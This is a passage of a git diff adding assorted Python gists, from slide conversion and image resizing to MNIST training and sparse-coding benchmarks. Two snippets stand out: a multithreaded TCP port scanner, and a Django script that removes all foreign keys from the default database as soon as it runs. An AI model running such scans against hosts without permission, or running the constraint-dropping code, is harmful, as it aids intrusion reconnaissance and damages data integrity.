+    foreign_keys = get_foreign_key_names(database_name)
+    logging.info("Removing all foreign key constraints from database: %s" % database_name)
+    for schema_name, table_name, key_name in foreign_keys:
+      remove_foreign_key(schema_name, table_name, key_name)
+
+db_name = settings.DATABASES['default']['NAME']
+remove_all_foreign_keys(db_name)
\ No newline at end of file
diff --git a/hard-gists/99442e1294a6c83368f5/._snippet.py b/hard-gists/99442e1294a6c83368f5/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/99442e1294a6c83368f5/._snippet.py differ
diff --git a/hard-gists/99442e1294a6c83368f5/snippet.py b/hard-gists/99442e1294a6c83368f5/snippet.py
new file mode 100644
index 00000000..e0a97859
--- /dev/null
+++ b/hard-gists/99442e1294a6c83368f5/snippet.py
@@ -0,0 +1,62 @@
+import socket
+import sys
+import threading
+import queue
+import time
+
+common_ports = {
+    "21": "FTP",
+    "22": "SSH",
+    "23": "Telnet",
+    "25": "SMTP",
+    "53": "DNS",
+    "80": "HTTP",
+    "194": "IRC",
+    "443": "HTTPS",
+    "3306": "MySQL",
+    "25565": "Minecraft"
+}
+
+def get_scan_args():
+    if len(sys.argv) == 2:
+        return (sys.argv[1], 0, 1024)
+    elif len(sys.argv) == 3:
+        return (sys.argv[1], 0, int(sys.argv[2]))
+    elif len(sys.argv) == 4:
+        return (sys.argv[1], int(sys.argv[2]), int(sys.argv[3]))
+
+def is_port_open(host, port): #Return boolean
+    try:
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        sock.settimeout(0.5)
+        sock.connect((host, port))
+    except socket.error:
+        return False
+    return True
+
+def scanner_worker_thread(host):
+    while True:
+        port = port_queue.get()
+        if is_port_open(host, port):
+            if str(port) in common_ports:
+                print("{}({}) is OPEN!".format(str(port), common_ports[str(port)]))
+            else:
+                print("{} is OPEN!".format(port))
+        port_queue.task_done()
+
+
+
+scan_args = get_scan_args()
+port_queue = queue.Queue()
+for _ in range(20):
+    t = threading.Thread(target=scanner_worker_thread, kwargs={"host": scan_args[0]})
+    t.daemon = True
+    t.start()
+
+start_time = time.time()
+for port in range(scan_args[1], scan_args[2]):
+    port_queue.put(port)
+
+port_queue.join()
+end_time = time.time()
+print("Done! Scanning took {:.3f} seconds.".format(end_time - start_time))
\ No newline at end of file
diff --git a/hard-gists/9947556/._snippet.py b/hard-gists/9947556/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9947556/._snippet.py differ
diff --git a/hard-gists/9947556/snippet.py b/hard-gists/9947556/snippet.py
new file mode 100644
index 00000000..3bc46360
--- /dev/null
+++ b/hard-gists/9947556/snippet.py
@@ -0,0 +1,77 @@
+#!/usr/bin/python
+# -*- coding: utf-8 -*-
+
+import os
+import sys
+from cStringIO import StringIO
+from argparse import ArgumentParser
+
+from pptx import Presentation
+from pptx.enum.shapes import MSO_SHAPE
+from pptx.dml.color import RGBColor
+from pptx.util import Inches, Pt
+
+
+def is_md(src, f):
+    """Returns true if file exists and has a Markdown extension"""
+    return os.path.isfile(os.path.join(src, f)) and f.endswith('.md')
+
+
+def get_pages(src):
+    """Returns a list of Markdown filenames in the source directory."""
+    return [os.path.join(src, f) for f in os.listdir(src) if is_md(src, f)]
+
+
+def build_deck(pages):
+    """Returns the actual PowerPoint deck."""
+    pres = Presentation()
+    blank_slidelayout = pres.slide_layouts[6]
+
+    for page in pages:
+        slide = pres.slides.add_slide(blank_slidelayout)
+
+        left = top = Inches(0)
+        width = Inches(10)
+        height = Inches(5.63)
+
+        shape = slide.shapes.add_shape(MSO_SHAPE.RECTANGLE, left, top, width,
+                                       height)
+        shape.fill.solid()
+        shape.fill.fore_color.rgb = RGBColor(0, 0, 0)
+
+        textbox = slide.shapes.add_textbox(left, top, width, height)
+        textframe = textbox.text_frame
+
+        para = textframe.paragraphs[0]
+        run = para.add_run()
+        run.font.name = "Consolas"
+        run.font.size = Pt(7)
+        run.font.color.rgb = RGBColor(255, 255, 255)
+
+        f = open(page)
+        run.text = f.read()
+        f.close()
+
+    return pres
+
+
+if __name__ == '__main__':
+    parser = ArgumentParser(
+        description='My dorky colleague created a presentation using vimdeck.\
+                     The very last thing he would want to see is it as a real\
+                     PowerPoint deck. So here you go...',
+        epilog='This thing returns binary data, so you probably want to pipe\
+                the output to a file with a .pptx extension. Oh, and be sure\
+                to "pip install python-pptx" first.')
+    parser.add_argument('source', type=str, nargs=1, help='Path to source\
+        directory containing vimdeck markdown files.')
+    args = parser.parse_args()
+
+    source = os.path.realpath(args.source[0])
+    deck = build_deck(get_pages(source))
+
+    output = StringIO()
+    deck.save(output)
+    sys.stdout.write(output.getvalue())
+    output.close()
+    sys.exit()
diff --git a/hard-gists/9951701907ed328218dd/._snippet.py b/hard-gists/9951701907ed328218dd/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9951701907ed328218dd/._snippet.py differ
diff --git a/hard-gists/9951701907ed328218dd/snippet.py b/hard-gists/9951701907ed328218dd/snippet.py
new file mode 100644
index 00000000..66cfc2f9
--- /dev/null
+++ b/hard-gists/9951701907ed328218dd/snippet.py
@@ -0,0 +1,55 @@
+#Gist ID: 9951701907ed328218dd
+import console
+import photos
+from PIL import Image
+from PIL.ExifTags import TAGS
+
+def adjust(dim, newdim):
+	newdim = newdim.strip()
+	try:
+		if newdim[-1] == "%":
+			newdim = int(dim * float(newdim[:-1]) / 100.0)
+		else:
+			newdim = int(newdim)
+	except ValueError:
+		newdim = dim
+	return newdim
+
+img = photos.pick_image(show_albums = True, include_metadata = False, original = True, raw_data = False)
+if img is None:
+	print "No image selected."
+else:
+	#Get orientation from EXIF data.
+	o = 1
+	if img.format == "JPEG":
+		tagid = [x[0] for x in TAGS.iteritems() if x[1] == "Orientation"][0]
+		try:
+			o = img._getexif()[tagid]
+		except KeyError:
+			pass
+
+	#Apply rotate/flip as needed to get image upright.
+	r, f = ((None, None), (None, Image.FLIP_LEFT_RIGHT), (Image.ROTATE_180, None), (Image.ROTATE_180, Image.FLIP_LEFT_RIGHT), (Image.ROTATE_90, Image.FLIP_LEFT_RIGHT), (Image.ROTATE_270, None), (Image.ROTATE_270, Image.FLIP_LEFT_RIGHT), (Image.ROTATE_90, None))[o - 1]
+
+	if not (f is None):
+		img = img.transpose(f)
+	if not (r is None):
+		img = img.transpose(r)
+
+	width, height = img.size
+
+	#Prompt for new width and height.	
+	width2 = adjust(width, console.input_alert("Width", "Enter new image width.", str(width)))
+	
+	height = int(height * (float(width2) / width))
+	height2 = adjust(height, console.input_alert("Height", "Enter new image height.", str(height)))
+
+	#Scale and save new image.
+	img = img.resize((width2, height2), Image.ANTIALIAS)
+	if photos.save_image(img):
+		msg = "Saved."
+	else:
+		msg = "Save failed."
+
+	console.alert(msg, button1 = "OK", hide_cancel_button = True)
+
diff --git a/hard-gists/9952389/._snippet.py b/hard-gists/9952389/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9952389/._snippet.py differ
diff --git a/hard-gists/9952389/snippet.py b/hard-gists/9952389/snippet.py
new file mode 100644
index 00000000..3087e10c
--- /dev/null
+++ b/hard-gists/9952389/snippet.py
@@ -0,0 +1,27 @@
+# -*- coding: utf-8 -*-
+#!/usr/bin/env python
+import os
+import sae
+import web
+import json
+import urllib2
+
+urls=('/','Index','/xiami/(.+)','Xiami')
+
+class Index:
+    def GET(self):
+        web.redirect('http://miantiao.me')
+
+class Xiami:
+    def GET(self,id):
+        id=str(id.replace('.mp3',''))
+        request = urllib2.Request(''.join(['http://www.xiami.com/app/iphone/song/id/',id]))
+        request.add_header('User-Agent', 'Mozilla/5.0 (iPhone; CPU iPhone OS 7_0 like Mac OS X; en-us) AppleWebKit/537.51.1 (KHTML, like Gecko) Version/7.0 Mobile/11A465 Safari/9537.53')
+        request.add_header('Referer', ''.join(['http://www.xiami.com/app/iphone/song/id/',id]))
+        response = urllib2.urlopen(request)
+        info=json.loads(response.read())
+        url=info['location']
+        web.seeother(url)
+        
+app = web.application(urls, globals()).wsgifunc() 
+application = sae.create_wsgi_app(app)
\ No newline at end of file
diff --git a/hard-gists/9956ec93a07ca4e9ba5bc415b014bcca/._snippet.py b/hard-gists/9956ec93a07ca4e9ba5bc415b014bcca/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9956ec93a07ca4e9ba5bc415b014bcca/._snippet.py differ
diff --git a/hard-gists/9956ec93a07ca4e9ba5bc415b014bcca/snippet.py b/hard-gists/9956ec93a07ca4e9ba5bc415b014bcca/snippet.py
new file mode 100644
index 00000000..a474a174
--- /dev/null
+++ b/hard-gists/9956ec93a07ca4e9ba5bc415b014bcca/snippet.py
@@ -0,0 +1,318 @@
+"""Script to illustrate usage of tf.estimator.Estimator in TF v1.3"""
+import tensorflow as tf
+
+from tensorflow.examples.tutorials.mnist import input_data as mnist_data
+from tensorflow.contrib import slim
+from tensorflow.contrib.learn import ModeKeys
+from tensorflow.contrib.learn import learn_runner
+
+
+# Show debugging output
+tf.logging.set_verbosity(tf.logging.DEBUG)
+
+# Set default flags for the output directories
+FLAGS = tf.app.flags.FLAGS
+tf.app.flags.DEFINE_string(
+    flag_name='model_dir', default_value='./mnist_training',
+    docstring='Output directory for model and training stats.')
+tf.app.flags.DEFINE_string(
+    flag_name='data_dir', default_value='./mnist_data',
+    docstring='Directory to download the data to.')
+
+
+# Define and run experiment ###############################
+def run_experiment(argv=None):
+    """Run the training experiment."""
+    # Define model parameters
+    params = tf.contrib.training.HParams(
+        learning_rate=0.002,
+        n_classes=10,
+        train_steps=5000,
+        min_eval_frequency=100
+    )
+
+    # Set the run_config and the directory to save the model and stats
+    run_config = tf.contrib.learn.RunConfig()
+    run_config = run_config.replace(model_dir=FLAGS.model_dir)
+
+    learn_runner.run(
+        experiment_fn=experiment_fn,  # First-class function
+        run_config=run_config,  # RunConfig
+        schedule="train_and_evaluate",  # What to run
+        hparams=params  # HParams
+    )
+
+
+def experiment_fn(run_config, params):
+    """Create an experiment to train and evaluate the model.
+
+    Args:
+        run_config (RunConfig): Configuration for Estimator run.
+        params (HParam): Hyperparameters
+
+    Returns:
+        (Experiment) Experiment for training the mnist model.
+    """
+    # You can change a subset of the run_config properties as
+    run_config = run_config.replace(
+        save_checkpoints_steps=params.min_eval_frequency)
+    # Define the mnist classifier
+    estimator = get_estimator(run_config, params)
+    # Setup data loaders
+    mnist = mnist_data.read_data_sets(FLAGS.data_dir, one_hot=False)
+    train_input_fn, train_input_hook = get_train_inputs(
+        batch_size=128, mnist_data=mnist)
+    eval_input_fn, eval_input_hook = get_test_inputs(
+        batch_size=128, mnist_data=mnist)
+    # Define the experiment
+    experiment = tf.contrib.learn.Experiment(
+        estimator=estimator,  # Estimator
+        train_input_fn=train_input_fn,  # First-class function
+        eval_input_fn=eval_input_fn,  # First-class function
+        train_steps=params.train_steps,  # Minibatch steps
+        min_eval_frequency=params.min_eval_frequency,  # Eval frequency
+        train_monitors=[train_input_hook],  # Hooks for training
+        eval_hooks=[eval_input_hook],  # Hooks for evaluation
+        eval_steps=None  # Use evaluation feeder until its empty
+    )
+    return experiment
+
+
+# Define model ############################################
+def get_estimator(run_config, params):
+    """Return the model as a Tensorflow Estimator object.
+
+    Args:
+         run_config (RunConfig): Configuration for Estimator run.
+         params (HParams): hyperparameters.
+    """
+    return tf.estimator.Estimator(
+        model_fn=model_fn,  # First-class function
+        params=params,  # HParams
+        config=run_config  # RunConfig
+    )
+
+
+def model_fn(features, labels, mode, params):
+    """Model function used in the estimator.
+
+    Args:
+        features (Tensor): Input features to the model.
+        labels (Tensor): Labels tensor for training and evaluation.
+        mode (ModeKeys): Specifies if training, evaluation or prediction.
+        params (HParams): hyperparameters.
+
+    Returns:
+        (EstimatorSpec): Model to be run by Estimator.
+    """
+    is_training = mode == ModeKeys.TRAIN
+    # Define model's architecture
+    logits = architecture(features, is_training=is_training)
+    predictions = tf.argmax(logits, axis=-1)
+    # Loss, training and eval operations are not needed during inference.
+    loss = None
+    train_op = None
+    eval_metric_ops = {}
+    if mode != ModeKeys.INFER:
+        loss = tf.losses.sparse_softmax_cross_entropy(
+            labels=tf.cast(labels, tf.int32),
+            logits=logits)
+        train_op = get_train_op_fn(loss, params)
+        eval_metric_ops = get_eval_metric_ops(labels, predictions)
+    return tf.estimator.EstimatorSpec(
+        mode=mode,
+        predictions=predictions,
+        loss=loss,
+        train_op=train_op,
+        eval_metric_ops=eval_metric_ops
+    )
+
+
+def get_train_op_fn(loss, params):
+    """Get the training Op.
+
+    Args:
+         loss (Tensor): Scalar Tensor that represents the loss function.
+         params (HParams): Hyperparameters (needs to have `learning_rate`)
+
+    Returns:
+        Training Op
+    """
+    return tf.contrib.layers.optimize_loss(
+        loss=loss,
+        global_step=tf.contrib.framework.get_global_step(),
+        optimizer=tf.train.AdamOptimizer,
+        learning_rate=params.learning_rate
+    )
+
+
+def get_eval_metric_ops(labels, predictions):
+    """Return a dict of the evaluation Ops.
+
+    Args:
+        labels (Tensor): Labels tensor for training and evaluation.
+        predictions (Tensor): Predictions Tensor.
+    Returns:
+        Dict of metric results keyed by name.
+    """
+    return {
+        'Accuracy': tf.metrics.accuracy(
+            labels=labels,
+            predictions=predictions,
+            name='accuracy')
+    }
+
+
+def architecture(inputs, is_training, scope='MnistConvNet'):
+    """Return the output operation following the network architecture.
+
+    Args:
+        inputs (Tensor): Input Tensor
+        is_training (bool): True iff in training mode
+        scope (str): Name of the scope of the architecture
+
+    Returns:
+         Logits output Op for the network.
+    """
+    with tf.variable_scope(scope):
+        with slim.arg_scope(
+                [slim.conv2d, slim.fully_connected],
+                weights_initializer=tf.contrib.layers.xavier_initializer()):
+            net = slim.conv2d(inputs, 20, [5, 5], padding='VALID',
+                              scope='conv1')
+            net = slim.max_pool2d(net, 2, stride=2, scope='pool2')
+            net = slim.conv2d(net, 40, [5, 5], padding='VALID',
+                              scope='conv3')
+            net = slim.max_pool2d(net, 2, stride=2, scope='pool4')
+            net = tf.reshape(net, [-1, 4 * 4 * 40])
+            net = slim.fully_connected(net, 256, scope='fn5')
+            net = slim.dropout(net, is_training=is_training,
+                               scope='dropout5')
+            net = slim.fully_connected(net, 256, scope='fn6')
+            net = slim.dropout(net, is_training=is_training,
+                               scope='dropout6')
+            net = slim.fully_connected(net, 10, scope='output',
+                                       activation_fn=None)
+        return net
+
+
+# Define data loaders #####################################
+class IteratorInitializerHook(tf.train.SessionRunHook):
+    """Hook to initialise data iterator after Session is created."""
+
+    def __init__(self):
+        super(IteratorInitializerHook, self).__init__()
+        self.iterator_initializer_func = None
+
+    def after_create_session(self, session, coord):
+        """Initialise the iterator after the session has been created."""
+        self.iterator_initializer_func(session)
+
+
+# Define the training inputs
+def get_train_inputs(batch_size, mnist_data):
+    """Return the input function to get the training data.
+
+    Args:
+        batch_size (int): Batch size of training iterator that is returned
+                          by the input function.
+        mnist_data (Object): Object holding the loaded mnist data.
+
+    Returns:
+        (Input function, IteratorInitializerHook):
+            - Function that returns (features, labels) when called.
+            - Hook to initialise input iterator.
+    """
+    iterator_initializer_hook = IteratorInitializerHook()
+
+    def train_inputs():
+        """Returns training set as Operations.
+
+        Returns:
+            (features, labels) Operations that iterate over the dataset
+            on every evaluation
+        """
+        with tf.name_scope('Training_data'):
+            # Get Mnist data
+            images = mnist_data.train.images.reshape([-1, 28, 28, 1])
+            labels = mnist_data.train.labels
+            # Define placeholders
+            images_placeholder = tf.placeholder(
+                images.dtype, images.shape)
+            labels_placeholder = tf.placeholder(
+                labels.dtype, labels.shape)
+            # Build dataset iterator
+            dataset = tf.contrib.data.Dataset.from_tensor_slices(
+                (images_placeholder, labels_placeholder))
+            dataset = dataset.repeat(None)  # Infinite iterations
+            dataset = dataset.shuffle(buffer_size=10000)
+            dataset = dataset.batch(batch_size)
+            iterator = dataset.make_initializable_iterator()
+            next_example, next_label = iterator.get_next()
+            # Set runhook to initialize iterator
+            iterator_initializer_hook.iterator_initializer_func = \
+                lambda sess: sess.run(
+                    iterator.initializer,
+                    feed_dict={images_placeholder: images,
+                               labels_placeholder: labels})
+            # Return batched (features, labels)
+            return next_example, next_label
+
+    # Return function and hook
+    return train_inputs, iterator_initializer_hook
+
+
+def get_test_inputs(batch_size, mnist_data):
+    """Return the input function to get the test data.
+
+    Args:
+        batch_size (int): Batch size of training iterator that is returned
+                          by the input function.
+        mnist_data (Object): Object holding the loaded mnist data.
+
+    Returns:
+        (Input function, IteratorInitializerHook):
+            - Function that returns (features, labels) when called.
+            - Hook to initialise input iterator.
+    """
+    iterator_initializer_hook = IteratorInitializerHook()
+
+    def test_inputs():
+        """Returns training set as Operations.
+
+        Returns:
+            (features, labels) Operations that iterate over the dataset
+            on every evaluation
+        """
+        with tf.name_scope('Test_data'):
+            # Get Mnist data
+            images = mnist_data.test.images.reshape([-1, 28, 28, 1])
+            labels = mnist_data.test.labels
+            # Define placeholders
+            images_placeholder = tf.placeholder(
+                images.dtype, images.shape)
+            labels_placeholder = tf.placeholder(
+                labels.dtype, labels.shape)
+            # Build dataset iterator
+            dataset = tf.contrib.data.Dataset.from_tensor_slices(
+                (images_placeholder, labels_placeholder))
+            dataset = dataset.batch(batch_size)
+            iterator = dataset.make_initializable_iterator()
+            next_example, next_label = iterator.get_next()
+            # Set runhook to initialize iterator
+            iterator_initializer_hook.iterator_initializer_func = \
+                lambda sess: sess.run(
+                    iterator.initializer,
+                    feed_dict={images_placeholder: images,
+                               labels_placeholder: labels})
+            return next_example, next_label
+
+    # Return function and hook
+    return test_inputs, iterator_initializer_hook
+
+
+# Run script ##############################################
+if __name__ == "__main__":
+    tf.app.run(
+        main=run_experiment
+    )
diff --git a/hard-gists/996771/._snippet.py b/hard-gists/996771/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/996771/._snippet.py differ
diff --git a/hard-gists/996771/snippet.py b/hard-gists/996771/snippet.py
new file mode 100644
index 00000000..7e1334a0
--- /dev/null
+++ b/hard-gists/996771/snippet.py
@@ -0,0 +1,208 @@
+# -*- coding: utf-8 -*-
+"""
+http://www.cs.technion.ac.il/~ronrubin/Publications/KSVD-OMP-v2.pdf
+
+parametrization by error is still in progress
+"""
+from time import time
+import numpy as np
+from scipy import linalg
+import matplotlib.pyplot as pl
+
+def unsparse(v, idx, length):
+    """Transform a vector-index pair to a dense representation"""
+    x = np.zeros(length)
+    x[idx] = v
+    return x
+
+def orthogonal_mp(D, x, m, eps=None):
+    """Orthogonal matching pursuit (OMP)
+    
+    Solves [1] min || D * gamma - x ||_2 subject to || gamma ||_0 <= m
+    or     [2] min || gamma ||_0         subject to || D * gamma - x || <= eps
+    
+    Parameters
+    ----------
+        D, array of shape n_features x n_components
+        x, vector of length n_features
+        m, integer <= n_features
+        eps, float (supersedes m)
+        
+    """
+    residual = x
+    idx = []
+    if eps == None:
+        stopping_condition = lambda: len(idx) == m
+    else:
+        stopping_condition = lambda: np.inner(residual, residual) <= eps
+
+    while not stopping_condition():
+        lam = np.abs(np.dot(residual, D)).argmax()
+        idx.append(lam)
+        gamma, _, _, _ = linalg.lstsq(D[:, idx], x)
+        residual = x - np.dot(D[:, idx], gamma)
+    return gamma, idx
+
+def cholesky_omp(D, x, m, eps=None):
+    if eps == None:
+        stopping_condition = lambda: it == m  # len(idx) == m
+    else:
+        stopping_condition = lambda: np.inner(residual, residual) <= eps
+
+    alpha = np.dot(x, D)
+    
+    #first step:        
+    it = 1
+    lam = np.abs(np.dot(x, D)).argmax()
+    idx = [lam]
+    L = np.ones((1,1))
+    gamma = linalg.lstsq(D[:, idx], x)[0]
+    residual = x - np.dot(D[:, idx], gamma)
+    
+    while not stopping_condition():
+        lam = np.abs(np.dot(residual, D)).argmax()
+        w = linalg.solve_triangular(L, np.dot(D[:, idx].T, D[:, lam]),
+                                    lower=True, unit_diagonal=True)
+        # should the diagonal be unit in theory? It crashes without it
+        L = np.r_[np.c_[L, np.zeros(len(L))],
+                  np.atleast_2d(np.append(w, np.sqrt(1 - np.dot(w.T, w))))]
+        idx.append(lam)
+        it += 1
+        #gamma = linalg.solve(np.dot(L, L.T), alpha[idx], sym_pos=True)
+        # what am I, stupid??
+        Ltc = linalg.solve_triangular(L, alpha[idx], lower=True)
+        gamma = linalg.solve_triangular(L, Ltc, trans=1, lower=True)
+        residual = x - np.dot(D[:, idx], gamma)
+
+    return gamma, idx
+
+def _batch_omp_step(G, alpha_0, m, eps_0=None, eps=None):
+    idx = []
+    L = np.ones((1, 1))
+    alpha = alpha_0
+    eps_curr = eps_0
+    delta = 0
+    it = 0
+    if eps == None:
+        stopping_condition = lambda: it == m
+    else:
+        stopping_condition = lambda: eps_curr <= eps
+
+    while not stopping_condition():
+        lam = np.abs(alpha).argmax()
+        if len(idx) > 0:
+            w = linalg.solve_triangular(L, G[idx, lam],
+                                        lower=True,  unit_diagonal=True)
+            L = np.r_[np.c_[L, np.zeros(len(L))],
+                      np.atleast_2d(np.append(w, np.sqrt(1 - np.inner(w, w))))]
+        idx.append(lam)
+        it += 1
+        Ltc = linalg.solve_triangular(L, alpha_0[idx], lower=True)
+        gamma = linalg.solve_triangular(L, Ltc, trans=1, lower=True) 
+        beta = np.dot(G[:, idx], gamma)        
+        alpha = alpha_0 - beta
+        if eps != None:
+            eps_curr += delta
+            delta = np.inner(gamma, beta[idx])
+            eps_curr -= delta
+    return gamma, idx                 
+
+def batch_omp(D, X, m, eps=None):
+    """Precomputations for batch OMP"""
+    Alpha = np.dot(D.T, X)
+#    Eps = np.dot(X.T, X) sh**!
+    G = np.dot(D.T, D)
+    func = lambda a: unsparse(*_batch_omp_step(G, a, m), length=D.shape[1])
+    V = np.apply_along_axis(func, axis=0, arr=Alpha)
+    return V
+
+def generate_dict(n_features, n_components):
+    # generate random dictionary
+    D = np.random.randn(n_components, n_features)
+    D /= np.apply_along_axis(lambda x: np.sqrt(np.dot(x.T, x)), 0, D)
+    return D
+    
+def generate_data(D, sparsity):
+    n_features = D.shape[1]
+    # generate sparse signal
+    x = np.zeros(n_features)
+    indices = np.random.randint(0, n_features, sparsity)
+    x[indices] = np.random.normal(0, 5, sparsity)
+    return (indices, x), np.dot(D, x)
+
+def bench_plot():    
+    np.random.seed(42)
+    n_features, n_components = 512, 1024
+    print "generating dictionary..."
+    D = generate_dict(n_features, n_components)
+    sparsities = np.arange(50, 200, 15)
+    print "generating signals..."
+    Y = np.zeros((n_components, len(sparsities)))
+    X = np.zeros((n_features, len(sparsities)))    
+    for i, sp in enumerate(sparsities):
+        (_, X[:, i]), Y[:, i] = generate_data(D, sp)
+    print "precomputing..."
+    G = np.dot(D.T, D)
+    A = np.dot(D.T, Y)
+    naive, cholesky, batch = [], [], []
+    naive_err, cholesky_err, batch_err = [], [], []
+    for i in xrange(len(sparsities)):
+        print "sparsity: ", sparsities[i]
+        t0 = time()
+        x, idx = orthogonal_mp(D, Y[:, i], sparsities[i])
+        naive.append(time() - t0)
+        naive_err.append(linalg.norm(X[:, i] - unsparse(x, idx, n_features)))
+        t0 = time()
+        x, idx = cholesky_omp(D, Y[:, i], sparsities[i])
+        cholesky.append(time() - t0)        
+        cholesky_err.append(linalg.norm(X[:, i] - unsparse(x, idx, n_features)))
+        t0 = time()
+        x, idx = _batch_omp_step(G, A[:, i], sparsities[i])
+        batch.append(time() - t0)        
+        batch_err.append(linalg.norm(X[:, i] - unsparse(x, idx, n_features)))
+    pl.figure()
+    pl.subplot(1, 2, 1)
+    pl.xlabel('Sparsity level')
+    pl.ylabel('Time')
+    pl.plot(sparsities, naive, 'o-', label="Naive implementation")
+    pl.plot(sparsities, cholesky, 'o-', label="Cholesky update OMP")
+    pl.plot(sparsities, batch, 'o-', label="Batch OMP")
+    pl.legend()
+    pl.subplot(1, 2, 2)
+    pl.xlabel('Sparsity level')
+    pl.ylabel('Error')   
+    pl.plot(sparsities, naive_err, 'o-', label="Naive implementation")
+    pl.plot(sparsities, batch_err, 'o-', label="Batch OMP")
+    pl.plot(sparsities, cholesky_err, 'o-', label="Cholesky update OMP")
+    pl.legend()
+    
+    pl.show()    
+
+def plot_reconstruction():
+    # init
+    np.random.seed(42)
+    D = generate_dict(n_features=512, n_components=100)
+    sparsity = 17
+    (indices, x), y = generate_data(D, sparsity)
+    pl.subplot(3, 1, 1)
+    pl.title("Sparse signal")
+    pl.stem(indices, x[indices])
+    y_noise = y + np.random.normal(0, 0.05, y.shape)
+    
+    #x_r, i_r = cholesky_omp(D, y, sparsity)
+    x_r, i_r = _batch_omp_step(np.dot(D.T, D), np.dot(D.T,y), sparsity)
+    pl.subplot(3, 1, 2)
+    pl.title("Recovered signal from noise-free measurements")    
+    pl.stem(i_r, x_r)
+    
+    #x_r, i_r = cholesky_omp(D, y_noise, sparsity)
+    x_r, i_r = _batch_omp_step(np.dot(D.T, D), np.dot(D.T,y_noise), sparsity)
+    pl.subplot(3, 1, 3)
+    pl.title("Recovered signal from noisy measurements")    
+    pl.stem(i_r, x_r)
+    pl.show()
+    
+if __name__ == '__main__':    
+    bench_plot()
+    plot_reconstruction()
+
diff --git a/hard-gists/9985307/._snippet.py b/hard-gists/9985307/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/9985307/._snippet.py differ
diff --git a/hard-gists/9985307/snippet.py b/hard-gists/9985307/snippet.py
new file mode 100644
index 00000000..15f891f8
--- /dev/null
+++ b/hard-gists/9985307/snippet.py
@@ -0,0 +1,28 @@
+import sys, os
+import ROOT as r
+# prohibit root from hijacking command-line args
+r.PyConfig.IgnoreCommandLineOptions = True
+
+try:
+  ROOTCORE_PATH = os.environ['ROOTCOREDIR']
+except KeyError:
+  print >>sys.stderr, "Warning! $ROOTCOREDIR env. variable is not set. Did you configure RootCore?"
+  ROOTCORE_PATH = None
+
+''' Decorator for methods that should only be run once. '''
+def run_once(f):
+  def wrapper(*args, **kwargs):
+    if not wrapper.has_run:
+      wrapper.has_run = True
+      return f(*args, **kwargs)
+  wrapper.has_run = False
+  return wrapper
+
+'''
+ Call this method anytime you're going to use code that requires one of the
+ libraries managed by RootCore. You can call it as many times as you want;
+ the first one loads and subsequent calls will be a no-op.
+'''
+@run_once
+def require_rootcore():
+  r.gROOT.ProcessLine('.x %s' % os.path.join(ROOTCORE_PATH, 'scripts', 'load_packages.C'))
\ No newline at end of file
diff --git a/hard-gists/998722/._snippet.py b/hard-gists/998722/._snippet.py
new file mode 100644
index 00000000..cd8af967
Binary files /dev/null and b/hard-gists/998722/._snippet.py differ
diff --git a/hard-gists/998722/snippet.py b/hard-gists/998722/snippet.py
new file mode 100644
index 00000000..46ad4e15
--- /dev/null
+++ b/hard-gists/998722/snippet.py
@@ -0,0 +1,108 @@
+import platform
+import re
+import urllib2
+import urlparse
+
+from django.core.exceptions import ValidationError
+from django.core.validators import RegexValidator
+from django.core.urlresolvers import resolve
+from django.http import Http404
+from django.utils.translation import ugettext_lazy as _
+from django.utils.encoding import smart_unicode
+
+try:
+    from django.conf import settings
+    URL_VALIDATOR_USER_AGENT = settings.URL_VALIDATOR_USER_AGENT
+except ImportError:
+    # It's OK if Django settings aren't configured.
+    URL_VALIDATOR_USER_AGENT = 'Django (http://www.djangoproject.com/)'
+
+
+class RelativeURLValidator(RegexValidator):
+    """ Validator which allows for relative URL's as well. """
+
+    regex = re.compile(
+        r'^((?:http|ftp)s?://' # http:// or https://
+        r'(?:(?:[A-Z0-9](?:[A-Z0-9-]{0,61}[A-Z0-9])?\.)+(?:[A-Z]{2,6}\.?|[A-Z0-9-]{2,}\.?)|' #domain...
+        r'localhost|' #localhost...
+        r'\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})' # ...or ip
+        r'(?::\d+)?)?' # optional port
+        r'(?:/?|[/?]\S+)$', re.IGNORECASE) # host is optional, allow for relative URLs
+
+    def __init__(self, verify_exists=False, validator_user_agent=URL_VALIDATOR_USER_AGENT):
+        super(RelativeURLValidator, self).__init__()
+        self.verify_exists = verify_exists
+        self.user_agent = validator_user_agent
+
+    def __call__(self, value):
+        try:
+            super(RelativeURLValidator, self).__call__(value)
+        except ValidationError, e:
+            # Trivial case failed. Try for possible IDN domain
+            if value:
+                value = smart_unicode(value)
+                scheme, netloc, path, query, fragment = urlparse.urlsplit(value)
+                try:
+                    netloc = netloc.encode('idna') # IDN -> ACE
+                except UnicodeError: # invalid domain part
+                    raise e
+                url = urlparse.urlunsplit((scheme, netloc, path, query, fragment))
+                super(RelativeURLValidator, self).__call__(url)
+            else:
+                raise
+        else:
+            url = value
+
+        if self.verify_exists:
+            broken_error = ValidationError(
+                _(u'This URL appears to be a broken link.'), code='invalid_link')
+
+            if url.startswith('http://') or url.startswith('ftp://'):
+                headers = {
+                    "Accept": "text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5",
+                    "Accept-Language": "en-us,en;q=0.5",
+                    "Accept-Charset": "ISO-8859-1,utf-8;q=0.7,*;q=0.7",
+                    "Connection": "close",
+                    "User-Agent": self.user_agent,
+                }
+                url = url.encode('utf-8')
+                try:
+                    req = urllib2.Request(url, None, headers)
+                    req.get_method = lambda: 'HEAD'
+                    #Create an opener that does not support local file access
+                    opener = urllib2.OpenerDirector()
+
+                    #Don't follow redirects, but don't treat them as errors either
+                    error_nop = lambda *args, **kwargs: True
+                    http_error_processor = urllib2.HTTPErrorProcessor()
+                    http_error_processor.http_error_301 = error_nop
+                    http_error_processor.http_error_302 = error_nop
+                    http_error_processor.http_error_307 = error_nop
+
+                    handlers = [urllib2.UnknownHandler(),
+                                urllib2.HTTPHandler(),
+                                urllib2.HTTPDefaultErrorHandler(),
+                                urllib2.FTPHandler(),
+                                http_error_processor]
